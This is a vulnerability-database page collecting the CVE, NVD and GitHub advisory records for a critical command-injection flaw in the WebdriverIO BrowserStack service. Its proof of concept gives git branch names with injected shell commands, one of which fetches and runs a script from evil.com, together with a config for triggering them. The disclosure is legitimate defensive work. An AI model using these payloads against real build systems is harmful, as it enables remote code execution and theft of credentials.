Vulnerability-Lookup

CVE-2026-25244 (GCVE-0-2026-25244)

Vulnerability from cvelistv5 – Published: 2026-05-18 20:31 – Updated: 2026-05-19 12:58

Title

WebdriverIO has Command Injection in the BrowserStack Service

Summary

WebdriverIO is a test automation framework for unit, e2e and component testing using WebDriver, WebDriver BiDi and Appium. Versions below 9.24.0 contain a command injection vulnerability leading to remote code execution (RCE) in test orchestration. Git permits branch names containing shell metacharacters, and getGitMetadataForAISelection() interpolates these names directly into execSync() calls without sanitization. An attacker can exploit this by supplying a malicious repository (via testOrchestrationOptions.runSmartSelection.source, or the current directory if unset) whose branch name carries a payload, causing the shell to execute arbitrary code. This enables remote code execution on CI/CD servers and developer machines, leading to credential and secret disclosure, source code and SSH key exfiltration, system compromise, and supply chain attacks via tampered build artifacts. The issue has been fixed in version 9.24.0.

Severity ?

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Assigner

GitHub_M

References

3 references

URL	Tags
https://github.com/webdriverio/webdriverio/securi…	x_refsource_CONFIRM
https://github.com/webdriverio/webdriverio/blob/e…	x_refsource_MISC
https://github.com/webdriverio/webdriverio/releas…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
webdriverio	webdriverio	Affected: < 9.24.0

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-25244

Vulnerability from fkie_nvd - Published: 2026-05-18 21:16 - Updated: 2026-05-19 21:08

Severity ?

9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204	Product
security-advisories@github.com	https://github.com/webdriverio/webdriverio/releases/tag/v9.24.0	Product, Release Notes
security-advisories@github.com	https://github.com/webdriverio/webdriverio/security/advisories/GHSA-5c46-x3qw-q7j7	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/webdriverio/webdriverio/security/advisories/GHSA-5c46-x3qw-q7j7	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	openjsf	webdriverio	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:openjsf:webdriverio:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "3D9F8ED3-55D8-4830-A602-CBE9D68AF626",
              "versionEndExcluding": "9.24.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
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  "cveTags": [],
  "descriptions": [
    {
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      "value": "WebdriverIO is a test automation framework for unit, e2e and component testing using WebDriver, WebDriver BiDi and Appium. Versions below 9.24.0 contain a command injection vulnerability leading to remote code execution (RCE) in test orchestration. Git permits branch names containing shell metacharacters, and getGitMetadataForAISelection() interpolates these names directly into execSync() calls without sanitization. An attacker can exploit this by supplying a malicious repository (via testOrchestrationOptions.runSmartSelection.source, or the current directory if unset) whose branch name carries a payload, causing the shell to execute arbitrary code. This enables remote code execution on CI/CD servers and developer machines, leading to credential and secret disclosure, source code and SSH key exfiltration, system compromise, and supply chain attacks via tampered build artifacts. The issue has been fixed in version 9.24.0."
    }
  ],
  "id": "CVE-2026-25244",
  "lastModified": "2026-05-19T21:08:29.203",
  "metrics": {
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          "attackVector": "NETWORK",
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GHSA-5C46-X3QW-Q7J7

Vulnerability from github – Published: 2026-05-11 17:53 – Updated: 2026-05-19 16:08

Summary

WebdriverIO BrowserStack Service has a Command Injection issue

Details

Summary

A command injection vulnerability exists in @wdio/browserstack-service that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

Vulnerable Code

File: https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204

Root Cause

User-controlled git branch names are directly interpolated into execSync() calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection. Git allows to create these branches.

git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;rm\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;curl\${IFS}evil.com/evil.sh\${IFS}>/tmp/evil.sh;bash\${IFS}/tmp/evil.sh;echo\${IFS}PWNED"

Attack Vector

Attacker creates a malicious git repository with a branch name containing command injection payload
Attacker configures WebdriverIO to use this repository via testOrchestrationOptions.runSmartSelection.source. if source is not provided it takes current directory as source.
When getGitMetadataForAISelection() executes, it extracts the malicious branch name
Branch name is interpolated into shell commands without sanitization
Shell interprets special characters and executes attacker's commands

PoC

Step 1: Create Malicious Repository Branch

git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"

Step 2: Configure WebdriverIO

// wdio.conf.js
export const config = {
    services: [
        ['browserstack', {
            user: process.env.BROWSERSTACK_USERNAME,
            key: process.env.BROWSERSTACK_ACCESS_KEY,
            testOrchestrationOptions: {
                runSmartSelection: {
                    enabled: true,
                    source: ['/tmp/malicious-repo']  // ⚠️ Points to malicious repo, without "source" field, it runs in the current directory.
                }
            }
        }]
    ],
    // ... rest of config
}

Step 3: Run Tests

npm run wdio

Step 4: Verify RCE

# Check if file was created (proof of RCE)
ls -la /tmp/pwned.txt

Impact

Remote Code Execution on CI/CD servers or developer machines
Information Disclosure (environment variables, secrets, credentials)
Data Exfiltration (source code, SSH keys, configuration files)
System Compromise (backdoor installation, lateral movement)
Supply Chain Attack (modify build artifacts)

Severity ?

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.23.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@wdio/browserstack-service"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25244"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T17:53:46Z",
    "nvd_published_at": "2026-05-18T21:16:39Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA command injection vulnerability exists in `@wdio/browserstack-service` that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\n### Vulnerable Code\n**File**:  https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204\n\n### Root Cause\nUser-controlled git branch names are directly interpolated into `execSync()` calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection.\nGit allows to create these branches.\n```\ngit checkout -b \"main;touch\\${IFS}/tmp/pwned.txt;echo\\${IFS}PWNED\"\ngit checkout -b \"main;rm\\${IFS}/tmp/pwned.txt;echo\\${IFS}PWNED\"\ngit checkout -b \"main;curl\\${IFS}evil.com/evil.sh\\${IFS}\u003e/tmp/evil.sh;bash\\${IFS}/tmp/evil.sh;echo\\${IFS}PWNED\"\n```\n\n\n### Attack Vector\n1. Attacker creates a malicious git repository with a branch name containing command injection payload\n2. Attacker configures WebdriverIO to use this repository via `testOrchestrationOptions.runSmartSelection.source`. if `source` is not provided it takes current directory as `source`.\n3. When `getGitMetadataForAISelection()` executes, it extracts the malicious branch name\n4. Branch name is interpolated into shell commands without sanitization\n5. Shell interprets special characters and executes attacker\u0027s commands\n\n### PoC\n### Step 1: Create Malicious Repository Branch\n```\ngit checkout -b \"main;touch\\${IFS}/tmp/pwned.txt;echo\\${IFS}PWNED\"\n```\n\n### Step 2: Configure WebdriverIO\n\n```javascript\n// wdio.conf.js\nexport const config = {\n    services: [\n        [\u0027browserstack\u0027, {\n            user: process.env.BROWSERSTACK_USERNAME,\n            key: process.env.BROWSERSTACK_ACCESS_KEY,\n            testOrchestrationOptions: {\n                runSmartSelection: {\n                    enabled: true,\n                    source: [\u0027/tmp/malicious-repo\u0027]  // \u26a0\ufe0f Points to malicious repo, without \"source\" field, it runs in the current directory.\n                }\n            }\n        }]\n    ],\n    // ... rest of config\n}\n```\n### Step 3: Run Tests\n\n```bash\nnpm run wdio\n```\n### Step 4: Verify RCE\n\n```bash\n# Check if file was created (proof of RCE)\nls -la /tmp/pwned.txt\n```\n\n### Impact\n\n- **Remote Code Execution** on CI/CD servers or developer machines\n- **Information Disclosure** (environment variables, secrets, credentials)\n- **Data Exfiltration** (source code, SSH keys, configuration files)\n- **System Compromise** (backdoor installation, lateral movement)\n- **Supply Chain Attack** (modify build artifacts)",
  "id": "GHSA-5c46-x3qw-q7j7",
  "modified": "2026-05-19T16:08:59Z",
  "published": "2026-05-11T17:53:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/webdriverio/webdriverio/security/advisories/GHSA-5c46-x3qw-q7j7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25244"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/webdriverio/webdriverio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webdriverio/webdriverio/releases/tag/v9.24.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WebdriverIO BrowserStack Service has a Command Injection issue"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-25244 (GCVE-0-2026-25244)

FKIE_CVE-2026-25244

GHSA-5C46-X3QW-Q7J7

Summary

Details

Vulnerable Code

Root Cause

Attack Vector

PoC

Step 1: Create Malicious Repository Branch

Step 2: Configure WebdriverIO

Step 3: Run Tests

Step 4: Verify RCE

Impact

Tags

Sightings

Nomenclature